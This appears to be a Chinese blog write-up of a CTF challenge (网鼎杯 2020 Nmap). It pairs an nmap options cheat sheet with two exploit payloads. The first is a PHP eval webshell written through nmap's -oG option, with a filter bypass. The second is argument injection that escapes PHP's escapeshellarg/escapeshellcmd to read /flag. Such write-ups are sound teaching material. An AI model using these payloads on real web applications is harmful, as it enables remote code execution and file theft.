首页 > 其他分享 >Nmap命令利用

Nmap命令利用

时间:2023-09-27 11:24:19浏览次数:32  
标签:利用 Nmap 0.101 扫描 192.168 转义 命令 96.4 nmap

来自:

[网鼎杯 2020 朱雀组]Nmap

首先先熟悉一下nmap的基本命令吧:

nmap -v 127.0.0.1
给出了远程机器更详细的信息,显示冗余信息(扫描细节)
nmap -iL nmaptest.txt运行带“iL
 选项的nmap命令来扫描文件中列出的所有IP地址
nmap 192.168.0.* --exclude 192.168.0.100
使用“-exclude”选项来排除某些你不想要扫描的主机
nmap -A 192.168.0.101
启用操作系统和版本检测,脚本扫描和路由跟踪功能
nmap -O 127.0.0.1
使用选项“-O”和“-osscan-guess”也帮助探测操作系统信息
nmap -sA 192.168.0.101
扫描远程主机以探测该主机是否使用了包过滤器或防火墙
nmap -PN 192.168.0.101
扫描主机检测其是否受到数据包过滤软件或防火墙的保护
nmap -sP 192.168.0.*
找出网络中的在线主机
nmap -F 192.168.0.101
快速扫描,仅扫描nmap-services文件中的端口而避开所有其它的端口
nmap -f 192.168.96.4
使用小数据包发送,避免被识别出
nmap -r 192.168.0.101
不会随机的选择端口扫描
nmap -p 80,443 192.168.0.101
使用“-P”选项指定你想要扫描的端口
nmap -sV 192.168.0.101
查找主机服务版本号
nmap -PS 192.168.0.101
使用TCP ACK和TCP Syn方法来扫描远程主机(防火墙会阻断标ICMP包)
nmap -Pn 192.168.96.4
目标机禁用ping,绕过ping扫描
nmap -sn 192.168.96.4
对目标进行ping检测,不进行端口扫描(发送四种报文确定目标是否存活)
nmap -sS 192.168.0.101
执行一次隐蔽的扫描,安全,快
nmap -sT 192.168.0.101
使用TCP Syn扫描最常用的端口,不安全,慢
nmap -sN 192.168.0.101
执行TCP空扫描以骗过防火墙
nmap -sI 僵尸ip 目标ip
使用僵尸机对目标机发送数据包
nmap 192.168.96.4 -oX myscan.xml
对扫描结果另存在myscan.xml
nmap -T1~6 192.168.96.4
设置扫描速度,一般T4足够
nmap –mtu <size> 192.168.96.4
发送的包大小,最大传输单元必须是8的整数
nmap -D <假ip> 192.168.96.4
发送参杂着假ip的数据包检测
nmap –oG 1.txt –v 192.168.1.1/24
-oG将扫描结果保存为TXT,Ctrl+C中断扫描

方法一

这里我想到以前我做到的一个题,也是nmap的利用,这里马上就想到了-oG写一句话木马进去然后爆出flag。(注意一下cmd这里用的是双引号,单引号会报错,因为有闭合机制)

开始用的:

' <?php @eval($_POST["cmd"]); ?> -oG shell.php '

显示Hacker:

估计有过滤,这里优先想到过滤了php,我们把shell.php的后缀改为phtml,前面的<?php改为短标签:

' <? @eval($_POST["cmd"]); ?> -oG shell.phtml '

应该是写进去了,直接hackbar解决:

 

 

方法二

来自:https://blog.csdn.net/qq_63701832/article/details/128793013

iL来读取flag,然后输出到指定文件,访问该文件进行读取

读取时会提示搜索内容失败,然后会写出来内容是啥,从而实现任意文件读取。

escapeshell

 

escapeshellarg()

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数,保证其作为参数的安全性。

用转义符转义所有单引号,然后用单引号包裹

123' aa变为'123'\'' aa'

 

escapeshellcmd()

escapeshellcmd - 把字符串中可能欺骗shell命令的字符转义, 用以保证送到system函数或者exec函数的字符串是安全的。

不光这些字符,转义符本身还有落单的引号也会被转义。

'123'\'' aa'变为'123'\\'' aa\'

因为转义符被转义,最后的引号便落单,逃逸了出去。这个时候,被输入的字符串不再被当成单个参数处理(不再有引号包裹), 即逃出了这两个函数。

看看seebug平台上面的具体案例

传入的参数是:172.17.0.2' -v -d a=1
经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义
最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

 

payload

127.0.0.1' -iL /flag -o coleak

注意文件末尾有个逃逸的单引号

标签:利用,Nmap,0.101,扫描,192.168,转义,命令,96.4,nmap
From: https://www.cnblogs.com/EddieMurphy-blogs/p/17732236.html

相关文章

  • docker 命令记录
    老早就使用起docker了,现在做产品docker更是家常便饭,把自己常用的一些命令记录下来。一、列出当前容器dockerpsOPTIONS说明(常用):-a:列出当前所有正在运行的容器+历史上运行过的容器。-l:显示最近创建的容器。-n:显示最近n个创建的容器。-q:静默模式,只显示容器编号。二......
  • linux查看命令 more 、less
    Linuxmore命令类似cat,不过会以一页一页的形式显示,更方便使用者逐页阅读,而最基本的指令就是按空白键(space)就往下一页显示,按b键就会往回(back)一页显示,而且还有搜寻字串的功能(与vi相似),使用中的说明文件,请按h。语法more[-dlfpcsu][-num][+/pattern][+linenum][fileNam......
  • 接口测试系列文章4——10分钟带你利用测试框架优化接口测试
    在实际工作中,我们利用单元测试框架就可以完全搞定接口测试。单元测试(unittesting),是指对软件中的最小可测试单元进行检查和验证,这里的最小可测试单元通常是指函数或者类。单元测试是即所谓的白盒测试,一般由开发人员负责测试,因为开发人员知道被测试的软件如何完成功能和完成什么样的......
  • Windows 上 执行docker pull命令 提示:The system cannot find the file specified.
    错误提示errorduringconnect:Thiserrormayindicatethatthedockerdaemonisnotrunning.:Get"http://%2F%2F.%2Fpipe%2Fdocker_engine/v1.24/version":open//./pipe/docker_engine:Thesystemcannotfindthefilespecified.解决办法在cmd窗口中执行如下命令c......
  • 特别有用!Jmeter命令行执行时设置并发数和循环次数的方法
     Jmeter命令行方式运行概述之前写过一篇文章介绍如何在centos上部署jmeter来执行性能测试,链接如下:因为大多数linux服务器都是没有GUI界面的,这就需要我们通过命令行的方式来运行jmeter脚本,具体如下:jmeter-n-t/opt/jmeter/script/test.jmx-ltest2.jtl参数含义n非gui运行t指定......
  • 详解git pull命令和使用过程中遇到的常见问题:fatal: ‘origin‘ does not appear to b
    使用gitpull同步远程代码使用git管理测试相关代码时,因为测试代码本身量级不大,所以很少使用分支,默认都使用master(主分支),当我们想要从远程origin(origin是远程仓remoterepository,clone到本地的默认名字)。当主机的master分支拉取代码过来和本地的当前分支进行合并时,需要使用如下命令:g......
  • Linux命令杂记
    可能不是很有序,但都是实用命令,不会面面俱到,多了容易记不住find:查找文件命令。用法:find路径选项搜索内容递归搜索当前目录下的stdio.h文件gcc:编译。流程常用选项......
  • Hive学习之CLIS和Commands客户端命令
    1、BatchMode批处理模式在bin/hive后面使用-e或者-f时,就会进入到批处理模式,运行完成这一句命令,就会直接退出hive命令行例如,bin/hive-e'showdatabases'2、InteractiveShell交互式模式该模式运行完成后并不退出hive命令行好吧,这也是我平时使用比较多的一种,虽然它的界面......
  • 软件设计模式系列之十六——命令模式
    1模式的定义命令模式(CommandPattern)是一种行为型设计模式,旨在将请求发送者和接收者解耦,将一个请求封装为一个对象,从而允许您参数化客户端对象以进行不同的请求、排队请求或记录请求,并支持可撤销操作。命令模式的核心思想是将一个请求包装成一个对象,包括请求的参数和接收者对象......
  • linux 中 awk中sub命令正则匹配数字
     001、[root@pc1test2]#lsa.txt[root@pc1test2]#cata.txtbatch01xyz1batch02xyz2batch03xyz3batch04xyz4batch05xyz5[root@pc1test2]#awk'{sub([0-9]+,"",$1);print$0}'a.txtawk:cmd.line:1:{sub([0-9]+,"",......